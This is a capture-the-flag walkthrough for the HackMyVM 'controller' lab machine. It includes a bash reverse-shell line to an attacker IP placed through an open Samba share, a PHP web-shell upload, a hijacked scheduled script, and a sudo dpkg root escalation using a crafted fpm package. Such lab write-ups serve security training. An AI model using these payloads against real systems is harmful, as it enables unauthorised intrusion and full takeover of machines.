hackmyvm: controller walkthrough

1. get first reverse shell

port
visit port 80, from the page http://192.168.85.135/index.php/2021/06/27/hola-mundo/ we get hint.
to-mundo
hint
use enum4linux to get samba shares, the we get the directory tester which we can visit without user and passwd.
sambashare
follow the hint, we put the text.txt using smbclient in this share, wait a moment, we get first reverse shell.

test.txt

import commands
commands.getoutput('/bin/bash -c "/bin/bash -i >& /dev/tcp/192.168.85.129/4444 0>&1"')

shell

2. get root

check process list, we can see the user webservies run php localhost.
localhostphp
we use the tool venom to forward localhost port 8080 to attack machine port 8888.
forward
upload a word shell by upload.php.
uploadpage
filebrowser
because of thedisable_functions, you can not use terminal directly. you can use php7_userfilter to bypass. But in there, you do not need to do this.
disable_funcitons
check the file which own to user webservices.
opt
we find the /opt/logs/log.txt will be changed by /opt/website.py at intervals. so we change the file to reverse a new shell.
changewebsite
then, we get the new user shell.
newshell
check sudo -l, we find the dpkg -i[1]. make a particular deb by using fpm, we get the root.

TF=$(mktemp -d)
echo 'exec /bin/sh' > $TF/x.sh
fpm -n x -s dir -t deb -a all --before-install $TF/x.sh $TF

root

3. references

  1. https://gtfobins.github.io/gtfobins/dpkg/
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 3
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论 3
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值